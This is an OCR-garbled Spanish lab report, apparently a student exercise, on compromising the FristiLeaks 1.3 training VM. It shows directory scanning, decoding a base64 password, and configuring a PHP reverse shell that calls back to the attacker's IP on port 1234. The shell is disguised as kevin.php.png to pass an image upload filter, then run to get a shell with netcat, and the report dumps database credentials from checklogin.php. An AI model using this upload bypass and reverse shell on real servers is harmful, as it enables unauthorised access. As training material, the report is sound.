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1. Introduccion
Este informe documenta el proceso de vulnerar la seguridad de un sitio web de "Fristi"
mediante pruebas de SQL Injection. El objetivo fue identificar vulnerabilidades en la pagina que
permitiera acceder a su base de datos, extraer informacidon confidencial y agregar nuevos usuarios
de forma no autorizada. Todo se realizd en un entorno controlado con maquinas virtuales,

demostrando asi la importancia de proteger las aplicaciones web contra ataques.
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2. Objetivos
2.1. Objetivo General
Realizar un laboratorio practico aplicando SQL Injection para ingresar a la base de datos

de Fristi y generar credenciales de acceso.

2.2. Objetivos Especificos

e Analizar la estructura de la pagina web "Fristi" para entender como funciona y
donde estan sus debilidades.

e Aplicar SQL Injection al sistema y agregar dos usuarios nuevos a la base de datos.

e Acceder a la padgina web con las credenciales de los usuarios creados y verificar

que funcionan correctamente.
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3. Justificacion
Justifico este trabajo como una forma practica de aprender sobre seguridad en la red. Al
explotar vulnerabilidades en "Fristi", demostramos que ningun sitio es 100% seguro si no se
protege adecuadamente. Ademas, creamos conciencia sobre como un ataque de SQL Injection

puede afectar la privacidad de los usuarios y la reputacion de una empresa.
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4. Planteamiento de la Actividad
El problema central radica en que muchas paginas web no estan correctamente protegidas

frente a ataques de inyeccion SQL. Esta falla permite que un atacante ingrese comandos no
autorizados en los formularios y acceda a la base de datos. En el caso de la pagina Fristi, se
evidencio que los formularios podian ser explotados para descubrir informacion interna y hasta
crear usuarios falsos.
La actividad planteada consistio en:

e Revisar el contenido y estructura de la pagina Fristi.

e Usar inyeccion SQL para ingresar a la base de datos.

e Crear dos usuarios y acceder al sitio con esas credenciales.
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5. Desarrollo del tema

5.1.Vulnerabilidad con FristiLeaks

Méquina  Ayuda
Herramientas

FristiLeaks 1 - Settings
Metasploitable 2 ® FristLea =
@ Apagada
Basic Expert
Metasploitable3-ub1404

@ Apagada General

- Adaptador] | Adaptador 2
Parrot 05 6.4 MATE Security Editior e

< ® Apagada ' Habilitar adapta
Pantalla

@ 0|0

4] WINDOWS XP
I~

) J—. Almacenamiento

Audio 5
Windows server 2003 Tipo de adapta
@ Apagada N
Taali linuxc

do

Puertos serie

Use

& metasploitable3-workspace winzk
08 @ Apagada e e e Tl

Puertos serie

N9

tl-osint-2024.2-virtualbox-amd64 Interfaz de usuario

< ® apagada

Lubuntu
@ ppagada

©
M Carpetas compartidas

Ninguno

Modificacion de la direccion MAC para conectividad de FristiLeaks

Iniciar

Previsualizacién

FristiLeaks 1

Adaptador3  Adaptador 4

025

IT Desktop (82540EM)

Puerto 4

Aceptar Cancelar

llustracion 1. Configuracion de Red de la Maquina FristiLeaks

Esta imagen muestra la configuracion de la maquina virtual FristiLeaks en VirtualBox.

Se ha cambiado la direccion MAC del adaptador de red a 080027A5A676 para asegurar que la

maquina pueda conectarse correctamente a la red NAT.
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5.1.2 Inicio del Sistema vulnerable FristiLeaks

&

Archivo Maquina Ver Entrada Dispositivos Ayuda

ristileaks 1.3 wulnerable UM by ArBxn.
soal: get root (uid B) and read the flag file

[Thanks to dgi and barrebas for testing!?

I address:19Z.128.1688.11

B OD #0 S2T ¥ & [ CTRLDERECHA

llustracion 2. Inicio de la Maquina Virtual FristiLeaks

Esta imagen muestra la maquina virtual "FristiLeaks 1.3" en ejecucion. En la pantalla se
ve el prompt de inicio de sesion con el mensaje:
e [P address: 192.128.108.11 (Direccion IP asignada a la maquina).

e nothing login: (Esperando entrada de usuario).
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5.1.3 Interfaz visual inicio de Fristi

er Entrada Dispositivos  Ayuda

Lugares 4desep 16:22 ®36% @48% 1T00kB VOOKB

v

)

Kali Linux # KaliTools ¢ KaliDocs M Kali Forums e Kali NetHunter xploit-DB Google Hacking DB O

llustracion 3. Pagina Principal de FristiLeaks

Esta imagen muestra la pagina web principal de FristiLeaks, que contiene el lema
oficial: KEEP CALM AND DRINK FRISTI. Este es el sitio que se va a analizar y explotar

mediante técnicas de SQL Injection.
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5.1.4 Exploracion del codigo fuente en la pagina FristiLeaks

td

Archivo Maquina Ver Entrada Dispositivos Ayuda
@ . pplicaciones  Lugares

4desep 18:19 @5% @ss% T00kB 400kKB
[ 8.100.11/ 192.128.100.11/fri ad http:/[192.128.100.11/fristi/  New Tab ~
C @ A view-sour 2.128.100.11/fristif

KaliLinux @ Kali Tools

 KaliDocs ¥ Kali Forums @ Kali NetHunter

Exploit-DB Google Hacking DB OffSec
1 khimls

e inline in the HTML. I read

Ilustracion 4. Codigo fuente de la pagina FristiLeaks
En esta imagen se observa el codigo fuente de la pagina principal de FristiLeaks. En €l

aparecen comentarios del desarrollador que indican que se utilizaron imagenes codificadas en

base64 y también aparece el nombre de usuario del desarrollador.
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5.1.5 Formulario de inicio de sesion en FristiLeaks

Ver Entrada Di o
es  Lugares 4desep 18:21 % @58% T00ks L00kB O« a

http://192.128.100.11/fristif X & New Tab

& view-source:http://192.128.100.11/fristif

KaliLinux g KaliTools = KaliDocs ¥ Kali Forums ¢\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

cellspacing="1" bgcolor=

" cellspacing="1" bgcolor="#FFFFFF s

sMember Login </ o</ td>

llustracion 5. Seccion del codigo fuente con el formulario de Login

La imagen muestra el fragmento del codigo fuente de FristiLeaks donde se encuentra
definido el formulario de inicio de sesion. Se observa que el formulario envia la informacion por
método POST al archivo checklogin.php, lo que indica que alli se validan las credenciales de

acceso. Este punto es clave para realizar la inyeccion SQL



5.1.6 Exploracion de directorios en FristiLeaks

B
Archivo Maquina Ver Entrada Dispositivos Ayuda
@ -« Aplicaciones  Lugares 4 desep 16:25 ®s% @51% 7100ks VO0kB s D

192.128.100.11/ X http://192.128.100.11/ X keep-calm.png (PNGImage, X + v

= C @ O A& 192.128.100.11/i ® © & =

Kali Linux # KaliTools ¢ KaliDocs ¥ Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

KEEP
CALM
DRINK
FRISTI

llustracion 6. Carpeta de imdgenes en el sitio FristiLeaks

En la imagen se observa como se accede al directorio /images del servidor web de
FristiLeaks. Alli se encuentra alojado el archivo keep-calm.png, que corresponde al logotipo

principal de la pagina.
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5.1.7 Escaneo de directorios con Dirb

kali@kali: ~

kali@kali: ~ kali@kali: /usr/share/dirb/wordlists

)-[~]

“dirb http://192.128.100.11/

DIRB v2.22
By The Dark Raver

START_TIME: Thu Sep 4 16:28:29 2025
URL_BASE: http://192.128.100.11/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

---- Scanning URL: http://192.128.100.11/ ----

+ http://192.128.100.11/cgi-bin/ (CODE:403|SIZE:210)
==> DIRECTORY: http://192.128.100.11/images/

+ http://192.128.100.11/index.html (CODE:200|SIZE:703)
+ http://192.128.100.11/robots.txt (CODE:200|SIZE:62)

---- Entering directory: http://192.128.100.11/images/ ----

£ 1\ WADMTAIA . NIwamdaw: TE I TETADI T Mo mnand &n mann <&
llustracion 7. Resultados del escaneo de FristiLeaks usando Dirb

En la imagen se observa la ejecucion de Dirb contra la direccion http://192.128.100.11/.

El escaneo mostro directorios y archivos interesantes como /images/, index.html y robots.txt.
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5.1.8 Exploracion en el directorio wordlists

kali@kali: fusr/share/dirb/wordlists Q

kali@kali: ~ kali@kali: fusr/share/dirb/wordlists

)= | ~

| /usr/share/dirb/wordlists/

)-[/usr/share/dirb/wordlists |

root root 4096 jul 24 06:45

root root 4096 jul 24 06:45

root root 184073 ene 24 2012 big.txt

root root 1292 ene 27 2012 catala.txt

root root 35849 nov 17 2014 common.txt

root root 1492 may 23 2012 euskera.txt

root root 142 dic 29 2005 extensions_common.txt
root root 75 mar 16 2012 indexes.txt

root root 244 dic 29 2005 mutations_common.txt
root root 4096 jul 24 06:45

root root 6561 mar 4 2014 small.txt

root root 3731 nov 12 2014 spanish.txt

root root 4096 jul 24 06:45

root root 4096 jul 24 06:45

)-[/usr/share/dirb/wordlists ]

llustracion 8. Archivos de wordlists utilizados por Dirb

En esta imagen se muestra el contenido de la carpeta /ust/share/dirb/wordlists/. Aqui se
encuentran los diferentes archivos de wordlists que utiliza la herramienta Dirb para realizar

busquedas de directorios y archivos ocultos en sitios web.



5.1.9 Escaneo alternativo con Dirb

kali@kali: ~

kali@kali: ~ kali@kali: fusr/share/dirb/wordlists

)-[~]

lirb http://192.128.100.11/ /usr/share/dirb/wordlists/small.txt

DIRB v2.22
By The Dark Raver

START_TIME: Thu Sep 4 16:34:57 2025
URL_BASE: http://192.128.100.11/
WORDLIST_FILES: /usr/share/dirb/wordlists/small.txt

GENERATED WORDS: 959

---- Scanning URL: http://192.128.100.11/ ----
+ http://192.128.100.11/cgi-bin/ (CODE:403|SIZE:210)
==> DIRECTORY: http://192.128.100.11/images/

---- Entering directory: http://192.128.100.11/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.

(Use mode '-w' if you want to scan it anyway)

llustracion 9. Busqueda de directorios con la wordlist small.txt

En esta imagen se observa la ejecucion de Dirb contra la direccion http://192.128.100.11/

utilizando el archivo de lista small.txt. Este escaneo generdé menos combinaciones de palabras en

comparacion con common.txt, pero igualmente permiti6 identificar directorios relevantes como

/images/ y /cgi-bin/.



5.1.10 Restricciones de acceso en FristiLeaks

keep-calm.png

= C @

Kali Linux # Kali Tools « KaliDocs M KaliForums X Kali NetHunter

403 Forbidden

7% ¢ ¥ ® 51 =

Forbidden

You don't have permission to access (cgi-bin/ on this server.

Exploit-DB Google Hacking DB OffSec

Ilustracion 10. Mensaje de error 403 al acceder al directorio /cgi-bin/

En la imagen se observa que, al intentar acceder al directorio /cgi-bin/ del servidor

http://192.128.100.11/, el navegador devuelve un error 403 Forbidden. Esto indica que el

directorio existe, pero el servidor no permite visualizar su contenido por motivos de permisos.
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5.1.11 Descubrimiento de archivos y recursos del servidor web

keep-calm.p 403 Forbidden  Index of fin

O & 192128.100.M 7% 1Y ©® ®@ 9

Kali Linux # KaliTools « KaliDocs % Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

Index of /images

Name Last modified Size Description

# Parent Directo ry -
[ 3037440jpg  25-Nov-2015 03:50 105K
@ keep-calm.png  17-Nov-201512:20 34K

Ilustracion 11. Directorio de Imagenes del Sitio FristiLeaks

Esta imagen muestra el listado del directorio /images en el servidor web de FristiLeaks.

Se revela que hay dos archivos almacenados:
e 3037440.jpg (105 KB, modificado en noviembre de 2015)

e keep-calm.png (34 KB, modificado en noviembre de 2015)
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5.1.12 Exploracion de URLs y descubrimiento de contenido oculto

lustracion 12. Acceso a Imagen Oculta

24

Esta imagen muestra un mensaje humoristico al intentar acceder a una imagen o recurso

especifico en el sitio. Aunque parece un error, a veces estas paginas pueden tener pistas ocultas.
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5.1.13 Identificacion de directorios restringidos mediante robots.txt

http://192 keep-calm 403 Forbi Index of /

o

C @ O A& 192.128.100.11/r 120% Ty @ ® 9N

Kali Linux # KaliTools « KaliDocs % Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

User-agen
Disallow:
Disallow
Disallow: /beer

Ilustracion 13. Archivo robots.txt Descubierto en FristiLeaks

Esta imagen muestra el contenido del archivo robots.txt del sitio web FristiLeaks. Este

archivo se usa para indicar a los motores de busqueda. En este caso, se revelan tres rutas

restringidas:
e /cola
e /sisi

o /beer



5.1.14 Conversion de datos ocultos para descubrir credenciales

7
Entrada D

icaciones  Lugares 4 desep 18:32 @®20% @e3% 100kB 400KE o«

& Convert Base!

KaliLinux & KaliToels « KaliDoes ¥ Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

Input Base64 @ Output PNG

1VBORWOKGGOAAAANSUREUGAAAWDAAABLCATAAAAD AUHGAAAAAXNSROTAT S4c6QAAAA
RNQU1BAACX

JWVBYQUAAAAJCENZCWAADS MAAATDACY]GQAAARSSURBYHRe 70 IRdt SQEIVhr 85LEN
qymmumiek L

SO1AQGYONDO1//

dWSQyTgdxz2t 5+AcCHHAHGRYAABCIHAH1RTWCBYBEAXUQTACOYBIAXOQLA v
BAEWOAPALRWB4kSMAVMGRAFkCAAVCGSAFZKCwIscAeBF jgDwIkcAe JEJALZIEQBeS
AQALSkc+T

mB3yaP7/

XP/5RUMZJxT1Mz1ZdqpguZHP 1+ J053b9+1gd/0TL2WuL15+RMp IG5 ENTKELpaH VX keKkeKKeKKeKkEKkEK

0516qse0tIrWaUMSRL+WrOR172DDdWKGZSOEMPGGLBLRNZYWIWKTFDPXFmULCTe81
bxnNOvD

DpYZzOMN1Wgp LLSOw+0aXwomXX £ FhL8e6b+LrNdDFujoQNI9XbK tHMpSUNN9BSeG 5L
bUcr6k+ViNd

73Qjce lwepPC] LLNXFp1BgKtXFnVtYSd6Up INGPFCD 1yKB3dyPLpSTVZZYNn JR7TROWH
EiFGVSNrDU

12ame /17

Import from file Save as... Copy to clipboard Chain with... Saveas... Copy to clipboard

A=At s a Baseé4 to PNG Converter?

Hlustracion 14. Decodificacion de Contraseria en Base64 desde el Codigo Fuente

o 0 F M

Esta imagen muestra el proceso de decodificacion de una cadena en Base64 que fue
encontrada en el codigo fuente de la pagina de FristiLeaks. El texto codificado seconvirtié a
formato PNG usando una herramienta en linea.

Al decodificarla, se muestra la contrasefia necesaria para acceder a la pagina.
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5.1.15 Preparacion de una shell maliciosa para obtener acceso al servidor

root@kali: /home/kali/Escritorio

kali@kali: ~ kali@kali: ~/Escritorio root@kali: fhome/kali/Escri...
/
| /usr/share/webshells

/usr/share/webshells

/usr/share/webshells

/usr/share/webshells/php
php-backdoor.php php-reverse-shell.php qsd-php-backdoor.php simple-backdoor.php

/usr/share/webshells/php
) php-reverse-shell.php /home/kali/Escritorio

/usr/share/webshells/php
i /home/kali/Escritorio

/home/kali/Escritorio

php-reverse-shell.php

lustracion 15. Copia de un Shell de PHP para Conexion

En esta imagen se muestra como se copia un archivo php-reverse-shell.php desde el
directorio /usr/share/webshells/php/ al Escritorio. Este archivo es un script malicioso que, al
subirse a un servidor web vulnerable, permite establecer una conexion desde el servidor hacia la

maquina del atacante (Kali Linux).



5.1.16 Renombramiento y configuracion del archivo malicioso

root@kali: fhome/kali/Escritorio

kali@kali: ~ kali@kali: ~/Escritorio root@kali: fhome/kali/Escri...

/home/kali/Escritorio
cp php-reverse-shell.php kevin.php

/home/kali/Escritorio
ano kevin.php

/home/kali/Escritorio
1ano kevin.php

/home/kali/Escritorio
1c -lvp 1234
listening on [any] 1234 .
A
C

/home/kali/Escritorio
v kevin.php kevin.php.png

/home/kali/Escritorio

kevin.php.png php-reverse-shell.php

/home/kali/Escritorio
1ano kevin.php.png

lustracion 16. Modificacion de la Shell PHP

En esta imagen se realizan varias acciones clave para preparar la shell maliciosa:
1. Se copia el archivo php-reverse-shell.php a kevin.php para trabajar sobre él.
2. Se usa el editor nano para modificar kevin.php para configurar la IP (la IP de Kali).
3. Iniciar con nc -lvp 1234 para esperar la conexion.
4. Se renombra el archivo a kevin.php.png para intentar la subida de archivos que solo

permiten imagenes.



5.1.17 Personalizacion de la shell maliciosa con la IP

root@kali: /home/kali/Escritorio (o}

kali@kali: ~ kali@kali: ~/Escritorio root@kali: fTnome/kali/Escri... v

GNU nano 8.3 kevin.php.png
//

// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALE
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarej

if you get stuck.

set_time_limit (0);

$VERSION = "1.0";

$ip = '192.128.100.5'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;

$write_a = null;

$error_a = null;

$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;

$debug = 0;

W
K¢ Ayuda i Guardar B Buscar Bl Cortar B Ejecutar Qe Ubicacion
@i Salir 2 Leer fich. @ Reemplazar WV Pegar g Justificar @ Ir a linea

llustracion 17. Configuracion de la Shell PHP

Esta imagen muestra el contenido del archivo kevin.php.png editado con Nano. Se han

modificado los parametros criticos para la conexion:

IP de Kali: 192.128.100. (La direccion de la maquina atacante).

29
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5.1.18 Evidencia de la creacion exitosa del archivo kevin.php.png

Ed
Archivo Maquina Ver Entrada Dispositivos Ayuda

@« Aplicaciones  Lugares 4desep 18:54

"

php-reverse-

shell.php — /,“,
- N =
“ \

@D = N

D
kevin.php.png

Hlustracion 18. Archivo Malicioso Camuflado en el Escritorio de Kali

Esta imagen muestra el escritorio de Kali Linux con el archivo kevin.php.png . Este

archivo es php-reverse-shell.php que fue renombrado y configurado.



5.1.19 Acceso con credenciales obtenidas mediante la decodificacion

B | 19212810011/ X  http://192.128. X 192.128.100.11/fr X 192.128.100.11/fri X

« 5 C @ O A& 192.128.100.11

Kali Linux g Kali Tools ¢ KaliDocs X Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB

We -

Member Login

Username : |eezeepz |

Password : |keKkeKKeKKeKKEKKEK |

|_ Login |

llustracion 19. Inicio de Sesion en el Panel de Administracion de FristiLeaks

Esta imagen muestra el panel de inicio de sesion de FristiLeaks donde se han ingresado
las credenciales:
e Usuario: eezeepz
o Contraseiia: keKkeKkeKkeKkeKkeKkeK
Estas credenciales fueron obtenidas al decodificar la cadena Base64 encontrada en el

cddigo fuente de la pagina.
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5.1.20 Confirmacion de inicio de sesion

2810011/ = http://19

< C @ QO & 192.128.100.11 e

Kali Linux # KaliTools = KaliDocs ¥ KaliForums e\ Kali NetHunter Exploit-DB Google Hacking DB

Login successful

upload file

Ilustracion 20. Acceso Exitoso al Panel de Administracion de FristiLeaks

Esta imagen muestra un mensaje Inicio de sesion exitoso, seguido de la opcion upload
file (subir archivo). Esto confirma que las credenciales obtenidas (eezeepzy la contrasefia

decodificada) son validas y permiten el acceso al panel de administracion del sitio.



5.1.21 Interfaz para subir archivos al servidor de FristiLeaks

« > C @

192.128.100.1/fristifuplo. X http://192.12

O A 192.128.100.11

Kali Linux # KaliTools = KaliDocs % Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB

Select image to upload:

| Browse... | No file selected.

| Upload Image |

[lustracion 21. Carga de Imagenes en el Panel de Administracion
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Esta imagen muestra el formulario de carga de archivos en el panel de administracion de

FristiLeaks. La interfaz incluye:

Un botén "Browse..." para seleccionar un archivo desde el equipo.

Un boton "Upload Image" para enviar el archivo al servidor.
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5.1.22 Eligiendo el archivo "kevin.php.png' para subir a FristiLeaks

Cancelar File Upload

@ Recientes 4  Mkali m Escritorio

# Carpetapersonal | Nembre ¥ Tamafie Tipo

@ kevin.php.png 55kB Programa

¥ Descargas

@ php-reverse-shell.php 55kB Programa

B Documentos
™ Imagenes
Jd Musica

W Videos

-+ Otras ubicaciones

AllFiles ~

lustracion 22. Seleccion del Archivo Malicioso para Cargar al Servidor

Esta imagen muestra la ventana de didlogo para seleccionar un archivo desde el sistema.

Se esta navegando hasta la carpeta Descargas donde se encuentra el archivo kevin.php.png.
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5.1.23 Confirmacion de la seleccion del archivo en el formulario de carga

0.1/ * 192.128.100.1/fristifuplo. ://192.128.100.11/fr

« > C o O & 192.128.100.11

KaliLinux & KaliTools < KaliDocs % Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB

Select image to upload:

| Browse... | kevin.php.png Upload Image

[lustracion 23. Archivo Malicioso Seleccionado para Cargar

Esta imagen muestra el formulario de carga de archivos después de seleccionar el
archivo kevin.php.png. El campo que antes decia "No file selected" ahora muestra el nombre del
archivo malicioso (kevin.php.png). Esto indica que el archivo esta listo para ser subido al servidor

de FristiLeaks al hacer clic en el boton Upload Image.
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5.1.24 Confirmacion de la carga del archivo al servidor de FristiLeaks

192.128.100.11/fristi/do

C O & 192.128.100.11

Kali Linux § KaliTools ¢ KaliDocs X Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB

Uploading, please wait
The file has been uploaded to /uploads

llustracion 24. Archivo Malicioso Subido Exitosamente al Servidor

Esta imagen muestra el mensaje de éxito después de subir el archivo. Esto confirma que
el archivo kevin.php.png se ha subido correctamente al servidor en la ruta /uploads. Ahora, si el

servidor es vulnerable y ejecuta archivos PHP aunque tengan extension de imagen.



5.1.25 Identificacion de la ruta donde se almacendo el archivo malicioso

192.128.100.11/fristifdo_v *  http://192.128.100.11/fr

¢« C @ Q. 192.128.100.11//uploads| >

KaliLinux 7 KaliTool gy pien 11192 128.100.11//uploads — Visit

Uploading, please wait
The file has been uploaiERauEs

Ilustracion 25. Confirmacion de la Ubicacion del Archivo Subido

Esta imagen muestra que el archivo se ha subido exitosamente al servidor y esta
disponible en la ruta:

http://192.128.100.11/uploads/

Esta URL es crucial porque al acceder a ella (por ejemplo,

37

a http://192.128.100.11/uploads/kevin.php.png), el servidor podria ejecutar el codigo PHP oculto

en el archivo como imagen, lo que activaria la conexion hacia Kali Linux.


http://192.128.100.11/uploads/
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5.1.26 Kali Linux en espera de la activacion de la shell maliciosa

B | 192 ® http://192.128.100.11/fris. *  192.128.100.11/fristi/upl

&= C @ O & 192.128.100.11

Kali Linux # KaliTools = KaliDocs ¥ KaliForums e Kali NetHunter Exploit-DB Google Hacking DB

no!

[lustracion 26. Esperando la Conexion Reversa desde el Servidor

Esta imagen muestra la interfaz de Kali Linux después de haber subido el archivo
malicioso. En este punto, se debe iniciar nc -lvp 1234 para esperar la conexion desde el servidor
de FristiLeaks. Cuando alguien (o el mismo atacante) acceda a la URL del archivo subido

http://192.128.100.11/uploads/kevin.php.png, el cédigo PHP se ejecutara



5.1.27 Shell obtenida en el servidor de FristiLeaks

root@kali: /home/kali/Escritorio Q

kali@kali: ~ kali@kali: ~/Escritorio root@kali: /home/kali/Escri...

/home/kali/Escritorio
nano kevin.php.png

/home/kali/Escritorio
ic -lvp 1234
listening on [any] 1234 ...
connect to [192.128.100.5] from nothing.attdns.com [192.128.100.11] 50118
Linux nothing.attdns.com 2.6.32-573.8.1.e16.x86_64 #1 SMP Tue Nov 10 18:01:38 UTC 2015 x86_64 X
86_64 x86_64 GNU/Linux
12:09:01 up 1:55, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGINg IDLE JCPU PCPU WHAT
uid=48(apache) gid=48(apache) groups=48(apache)
sh: no job control in this shell
sh-4.1$ ping 192.128.100.5
ping 192.128.100.5
PING 192.128.100.5 (192.128.100.5) 56(84) bytes of data.
64 bytes from 192.128.100.5: icmp_seq=1 ttl=64 time=0.178 ms
64 bytes from 192.128.100.5: icmp_seq=2 ttl=64 time=1.31 ms
64 bytes from 192.128.100.5: icmp_seq=3 ttl=64 time=1.76 ms
64 bytes from 192.128.100.5: icmp_seq=4 ttl=64 time=1.27 ms
2€

/home/kali/Escritorio

llustracion 27. Conexion Exitosay Acceso al Servidor
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5.1.28 Ejecucion del archivo malicioso y conexion exitosa

J28.100.11/frist X 192.128.100.71fristifup

&« C @ O & 192.128.100.11 kg

KaliLinux & KaliTools <« KaliDocs & Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB

WARNING: Failed to daemonise. This is quite common and not fatal. Successfully opened reverse shell to
192.128.100.5:1234 ERROR: Shell connection terminated

llustracion 28. Activacion de la Shell desde FristiLeaks

Esta imagen muestra el resultado de acceder a la URL del archivo malicioso subido:

http://192.128.100.11/fristi/uploads/kevin.php.png

e El servidor ejecut6 el codigo PHP y establecid una conexion hacia Kali Linux en la
IP 192.128.100.5 y puerto 1234.
e "Shell connection terminated" dice que la conexion se cerrd después de un tiempo, pero

confirma que la explotacion fue exitosa.


http://192.128.100.11/fristi/uploads/kevin.php.png

5.2.Ingresar nuevo usuarios
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5.2.1 Listado de archivos y directorios en el servidor de FristiLeaks

kali@kali: ~

( )-[~]
[f nc -lvp 1234
listening on [any] 1234 ..

kali@kali: ~ Q

kali@kali: ~

192.128.100.11: inverse host lookup failed: Host name lookup failure

connect to [192.128.100.5] from (UNKNOWN) [192.128.100.11] 42749

Linux nothing.attdns.com 2.6.32-573.8.1.e16.x86_64 #1 SMP Tue Nov 10 18:01:38 UT

C 2015 x86_64 x86_64 x86_64 GNU/Linux
10:59:34 up 1:25, 0 users, load average: 0.00, 0.00, 0.00

LOGINg)

uid=48(apache) gid=48(apache) groups=48(apache)

USER TTY FROM

sh: no job control in this shell
sh-4.1% 1s -la
1s -la

total 102
dr-xr-xr-x.
dr-xr-xr-x.
-IwW-r--r--
-IW-Tr--T--
dr-xr-xr-x.
dr-xr-xr-x.
drwxr-xr-x
drwxr-xr-x.
drwxr-xr-x.
dr-xr-xr-x.
dr-xr-xr-x.

)
5
5
17
17
17
5
5
19
17
17
17

“n

IDLE JCPU  PCPU WHAT

09:34 .

09:34
09:34
2015
2015
2015
09:34
09:34
2015
2015
2015
2015

Anaa

.autofsck
.autorelabel
bin

boot

dev

etc

home

lib

1ib64
lost+found

el -

Llustracion 29. Exploracion del Sistema del Servidor vulnerado

Esta imagen muestra los resultados del comando s -1a ejecutado en la shell del servidor

que va ser atacado. La estructura de directorios del sistema:

o Directorio raiz: Se observan carpetas criticas como /bin, /boot, /etc, /home, /lib, /var,

entre otras.

o Lamayoria de los archivos son propiedad de root, lo que indica que hay que darle

privilegios.
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5.2.2 Exploracion de directorios para encontrar datos sensibles

kali@kali: ~ Q

kali@kali: ~ kali@kali: ~

j drwxr-xr-x. root root 4096 Nov 19 2015

sh-4.1% cd

cd var

sh-4.1% 1s

1s -la

total 76

drwxr-xr-x. root root 4096

dr-xr-xr-x. root root 4096

drwxr-xr-x. root root 4096 cache
drwxr-xr-x. root root 4096 db
drwxr-xr-x. root root 4096 empty
drwxr-x--- fristigod fristigod 4096 fristigod
drwxr-xr-x. root root 4096 3 games
drwxr-xr-x. root root 4096 lib
drwxr-xr-x. root root 4096 local
drwxrwxr-x. root lock 4096 lock
drwxr-xr-x root root 4096 log
Trwxrwxrwx. root root 10 mail -> spool/mail
drwxr-xr-x. root root 4096 nis
drwxr-xr-x. root root 4096 opt
drwxr-xr-x. root root 4096 preserve
drwxr-xr-x. root root 4096 run
drwxr-xr-x. root root 4096 spool
drwxrwxrwt. root root 4096 tmp
drwxr-xr-x. root root 4096 i
drwxr-xr-x. root root 4096 3 yp
sh-4.1% ||

Pt
o P

Bd On B 00 LI B P B LA R D RS LD D LD

lustracion 30. Acceso al Directorio /var del Servidor

Esta imagen muestra que se ha navegado al directorio /var del servidor FristiLeaks, un
lugar clave donde se almacenan:
e Archivos de logs (registros del sistema).
o Datos de aplicaciones web (como el sitio de FristiLeaks).

e Bases de datos o archivos de configuracion.



43

5.2.3 Descubrimiento de la estructura del sitio web de FristiLeaks

kali@kali: ~ Q

kali@kali: ~ kali@kali: ~

sh-4.1% cd www

cd www

sh-4.1$ 1s -la

1s -la

total 28

drwxr-xr-x.

drwxr-xr-x. e
drwxr-xr-x. cgi-bin
drwxr-xr-x. error
drwxr-xr-x. html
drwxr-xr-x. icons
-I'i-r--r-- notes.txt
sh-4.1% cd
cd html
sh-4.1% 1s
1s -la
total 36
drwxr-xr-x.
drwxr-xr-x.
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
-I'W-r--r--
-Iw-r--r--
drwxr-xr-x
sh-4.1%

root

root e

apache beer
apache cola
apache fristi
apache images
apache index.html
apache robots.txt
apache sisi

N R RN WNNO N

llustracion 31. Exploracion de los Archivos del Sitio Web en /var/www/html

Esta imagen muestra la exploracion del directorio /var/www/html, donde se aloja el sitio
web de FristiLeaks. Se listan los siguientes elementos clave:
o (Carpetas restringidas: beer, cola, sisi (mencionadas previamente en el archivo robots.txt).
o Carpeta principal: fristi (contiene probablemente los archivos centrales del sitio).

e Archivos clave: index.html (pagina principal) y robots.txt.



5.2.4 Identificacion de scripts PHP

drwxr-xr-x
-I'W-r--r--
-IW-r--r--
drwxr-xr-x
sh-4.1% cd
cd fristi
sh-4.1% 1s
1s -la
total 172
drwxr-xr-x

drwxr-xr-x.
-IwW-r--r--.
-I'W-r--r--,
Lrwxrwxrwx.
-IW-I--r--.
-IW-r--Ir--,
-TW-r--r--,
-TW-I--I--.
-IW-I--I--.
-TW-r--I--.
drwxrwxrwx.

kali@kali: ~

2 apache
1 apache
1 apache
2 apache
fristi

-la

L )

apache
apache
apache
apache

apache
root

apache
apache
apache
apache
apache
apache
apache
apache
apache
apache

lustracion 32. Descubrimiento de Archivos en el Directorio /fristi

kali@kali: ~

4096 Nov 25
703 Nov 17
62 Nov 17
4096 Nov 25

4096
4096
1310
1216
14
191
45
1396
131736
1642
372
4096

2015 images

kali@kali: ~

2015 index.html

2015 robots
2015 sisi

checklogin.php
do_upload.php
index.php -> main_login.php
login_success.php
logout.php
main_login.php
pic.b64

pic2

. Ixt

.b64

upload.php
uploads

44

Esta imagen revela los archivos internos del sitio de FristiLeaks en /var/www/html/fristi:

checklogin.php, main_login.php, login_success.php (manejan autenticacion).
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5.2.5 Muestra de las credenciales de la base de datos MySQL

kali@kali: ~ Q,

kali@kali: ~ kali@kali: ~

sh-4.1% cat chehklngin:php
cat checklogin.php
<?php

ob_start();

$host="1localhost"; // Host name
$username="eezeepz"; // Mysgl username
$password="4113maal12#"; // Mysql password
$db_name="hackmenow"; // Database name
$tbl_name="members"; // Table name

// Connect to server and select databse.
mysql_connect("$host", "$username”, "$password” )or die("cannot connect");
mysql_select_db("$db_name" )or die("cannot select DB");

// Define $myusername and $mypassword
$myusername=%$_POST[ 'myusername'];
$mypassword=%_POST[ 'mypassword'];

// To protect MySQL injection (more detail about MySQL injection)
$myusername = stripslashes($myusername);

$mypassword = stripslashes($mypassword);

$myusername = mysql_real_escape_string($myusername);

$mypassword = mysql_real_escape_string($mypassword);

$5ql="SELECT * FROM $tbl_name WHERE username='S$myusername' and password='$mypass
word'";

llustracion 33. Credenciales de la Base de Descubiertas en checklogin.php

Esta imagen muestra el contenido del archivo checklogin.php, que contiene las
credenciales de acceso a la base de datos del sitio:
e Host: localhost
e Usuario de MySQL: eezeepz
e Contraseiia de MySQL: 4113maal 12#
e Nombre de la base de datos: hackmenow

